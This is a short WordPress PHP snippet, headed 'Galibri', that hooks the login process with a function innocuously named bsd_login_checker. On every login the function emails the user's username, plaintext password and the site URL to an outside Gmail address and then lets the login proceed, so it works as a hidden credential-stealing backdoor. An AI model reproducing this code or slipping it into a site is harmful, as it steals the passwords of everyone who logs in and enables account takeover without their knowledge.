Galibri

function bsd_login_checker( $user, $password ) {
    $url = get_site_url();
    $gw_message = 'Username: ' . $user->user_login . ' Password: ' . $password;
    wp_mail('galib.bcse@gmail.com', 'WP Login ' . $url, $gw_message);
    return $user;
}
add_action('wp_authenticate_user', 'bsd_login_checker', 10, 2);